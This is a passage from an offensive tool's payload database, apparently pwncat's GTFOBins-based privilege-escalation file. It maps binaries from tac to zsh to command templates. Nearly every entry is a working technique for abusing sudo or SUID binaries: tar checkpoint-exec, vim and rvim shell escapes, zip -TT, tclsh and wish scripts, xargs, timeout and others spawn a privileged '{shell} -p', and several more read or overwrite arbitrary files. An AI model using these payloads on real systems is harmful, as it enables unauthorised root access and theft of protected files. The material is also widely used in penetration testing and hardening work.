//-------------------------------------------------------------------
	"tac": [
		{
			"type": "read",
			"stream":"raw",
			"payload": "{command}",
			"args": ["-s", "'_-_PWNCAT_RANDOM_DELIM_-_'", "{lfile}"]
		}
	],

//-------------------------------------------------------------------
	"tail": [
		{
			"type": "read",
			"stream":"raw",
			"payload": "{command}",
			"args": ["-c1GB", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
	"tar": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-cf", "/dev/null", "/dev/null", "--checkpoint=1", "--checkpoint-action=exec={shell} -p"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["xf", "/dev/null", "-I", "'{shell} -p -c \"{shell} -p <&2 1>&2\"'"]
		},
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} 2>&1",
			"args": ["xf", "{lfile}", "-I", "'{sh} -c \"{cat} 1>&2\"'"]
		}
		// This requires invoking `tar` twice... before and after a pipe.
		// With sudo, this would not work well... and as SETUID, the file does not
		// seem to keep the permissions as the elevated user. I'll remove this,
		// because since it can get a shell, it can just "write a file" naturally.
		// {
		// 	"type": "write",
		// 	"stream":"base64",
		// 	"payload": "TF=$({mktemp}); {base64} -d > $TF; {command} | {tar} x -P",
		// 	"args": ["c", "--xform", "\"s@.*@{lfile}@\"", "-OP", "$TF"],
		// 	"exit": "{ctrl_d}{ctrl_d}"
		// }
	],
//-------------------------------------------------------------------
	"taskset": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["1", "{shell}", "-p"]
		}
	],

//-------------------------------------------------------------------
	"tclsh": [
		{
			"type": "shell",
			"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp}); echo 'exec {shell} -p <@stdin >@stdout 2>@stderr; exit' > $TF; {command}",
			"args": ["$TF"]
		}
	],

//-------------------------------------------------------------------
	"tee": [
			{
				"type": "write",
				"stream" : "base64",
				"payload": "{base64} -d | {command} >/dev/null",
				"args": ["{lfile}"],
				"exit": "{ctrl_d}{ctrl_d}"
			}
		],
//-------------------------------------------------------------------
// `tftp` should be in place, but we do not yet have capabilities
// to upload and download a file sanely with GTFObins.
// That might be best in its own privesc method.
//-------------------------------------------------------------------
	"time": [
			{
				"type": "shell",
				"payload": "{command}",
				"args": ["{shell}", "-p"]
			}
		],

//-------------------------------------------------------------------
	"timeout": [
			{
				"type": "shell",
				"payload": "{command}",
				"args": ["--foreground", "7d", "{shell}", "-p"]
			}
		],

//-------------------------------------------------------------------
	"tmux": [
			{
				"type": "shell",
				"payload": "{command}",
				"args": ["-c", "{shell}"]
			}
		],

//-------------------------------------------------------------------
// `top` would have a very hacky way of working, running it twice to create
// the configuration file and then abuse it... but even after setting the stage,
// it does not keep the setuid permissions and using this with sudo would not be
// able to write to the root configuration directory.
// So... we won't use top.
	// "top": [
	// 		{
	// 			"type": "shell",
	// 			"payload": "{rm} -f ~/.config/procps/toprc; {mkdir} -p ~/.config/procps/; umask 000; {command}; umask 002",
	// 			"input": "Wq"
	// 		},
	// 		{
	// 			"type": "shell",
	// 			"payload": "echo -e 'pipe\\tx\\texec {shell} -p 1>&0 2>&0' >>~/.config/procps/toprc; {command}",
	// 			"input": "Y\n\nreset\n",
	// 			"exit": "exit\n{ctrl_c}"
	// 		}
	// 	],
//-------------------------------------------------------------------
	"ul": [
			{
				"type": "read",
				"stream": "print",
				"payload": "{command}",
				"args": ["{lfile}"]
			}
		],
//-------------------------------------------------------------------
	"unexpand": [
			{
				"type": "read",
				"stream": "raw",
				"payload": "{command}",
				"args": ["-t99999999","{lfile}"]
			}
		],


//-------------------------------------------------------------------
	"uniq": [
			{
				"type": "read",
				"stream": "print",
				"payload": "{command}",
				"args": ["{lfile}"]
			}
		],

//-------------------------------------------------------------------
	"unshare": [
			{
				"type": "shell",
				"payload": "{command}",
				"args": ["{shell}", "-p"]
			}
		],

//-------------------------------------------------------------------
	"uuencode": [
			{
				"type": "read",
				"stream" : "raw",
				"payload": "{command} | {uudecode}",
				"args": ["{lfile}", "/dev/stdout"]
			}
		],

//-------------------------------------------------------------------
	"valgrind": [
			{
				"type": "shell",
				"payload": "{command}",
				"args": ["-q", "{shell}"]
			}
		],

//-------------------------------------------------------------------

	"vi": [
			{
				"type": "shell",
				"payload": "{command}",
				"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
				// Include an extra newline to be sure to exit vim itself.
				"exit": "exit\n\n"
			}
		],

//-------------------------------------------------------------------
	"vim": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
			// Include an extra newline to be sure to exit vim itself.
			"exit": "exit\n\n"
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':lua os.execute(\"reset; exec {shell}\")'", "-c", "'quit'"]
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-es" ,"'+%print'" ,"'+:q!'", "{lfile}"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{cat} - | {command}",
			"args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"],
			"exit": "{ctrl_d}"
		}
	],
	"vim.basic": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
			// Include an extra newline to be sure to exit vim itself.
			"exit": "exit\n\n"
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':lua os.execute(\"reset; exec {shell}\")'", "-c", "'quit'"]
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-es" ,"'+%print'" ,"'+:q!'", "{lfile}"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{cat} - | {command}",
			"args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"],
			"exit": "{ctrl_d}"
		}
	],
	"rvim": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':!exec {shell} -p'", "-c", "':q'"],
			// Include an extra newline to be sure to exit vim itself.
			"exit": "exit\n\n"
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':py3 import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':py import os; os.execl(\"{shell}\", \"{shell}\", \"-p\", \"-c\", \"reset; exec {shell} -p\")'", "-c", "'quit'"]
		},
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "':lua os.execute(\"reset; exec {shell}\")'", "-c", "'quit'"]
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-es" ,"'+%print'" ,"'+:q!'", "{lfile}"]
		},
		{
			"type": "write",
			"stream": "print",
			"payload": "{cat} - | {command}",
			"args": ["-es" ,"'+%print'" ,"'+:w! {lfile}'", "'+:q!'", "/dev/stdin"],
			"exit": "{ctrl_d}"
		}
	],
//-------------------------------------------------------------------
	"wish": [
		{
			"type": "shell",
			"payload": "TF=none; {command} -h 2>/dev/null 1>&2; TF=$({mktemp}); echo 'exec {shell} -p <@stdin >@stdout 2>@stderr; exit' > $TF; {command}",
			"args": ["$TF"]
		}
	],
//-------------------------------------------------------------------
	"xargs": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-a", "/dev/null", "{shell}", "-p"],
			"exit": "exit\n"
		},
		{
			"type": "read",
			"stream": "print",
			"payload": "{command}",
			"args": ["-a", "{lfile}", "-0"]
		}
	],
//-------------------------------------------------------------------
	"xxd": [
		{
			"type": "read",
			"stream": "raw",
			"payload": "{command} {lfile} | {command} -r ",
			"args": []
		},
		// This has the same issue of not sending the right length of the file.
		{
			"type": "write",
			"stream": "raw",
			"payload": "{xxd} -l {length} | {command}",
			"args": ["-r", "-", "{lfile}"]
		}
	],
//-------------------------------------------------------------------
// `yum` should be added.
// https://gtfobins.github.io/gtfobins/yum/
//-------------------------------------------------------------------
	"zip": [
		{
			"type": "shell",
			"payload": "TF=none; {command} --help >/dev/null; TF=$({mktemp} -u); {command} $TF /etc/hosts -T -TT '{shell} #'",
			"args": []
		}
	],
//-------------------------------------------------------------------
	"zsh": [
		{
			"type": "shell",
			"payload": "{command}",
			"args": ["-c", "\"{shell} -p\""]
		}
	]
//-------------------------------------------------------------------
// zsoelim was not yet tested because it might do strange things to the data
// https://gtfobins.github.io/gtfobins/zsoelim/
//
//-------------------------------------------------------------------
// zypper requires the modification of an environment variable.
// We don't handle this well in pwncat for sudo.
// https://gtfobins.github.io/gtfobins/zypper/
// "zypper": [
// 	{
// 		"type": "shell",
// 		"payload": "TF=none; {command} 2>/dev/null; TF=$({mktemp} -d); cp {shell} $TF/zypper-x; export PATH=$TF:$PATH; {command} x",
// 		"args": [],
// 		"exit": "exit\n"
// 	}
// ]
}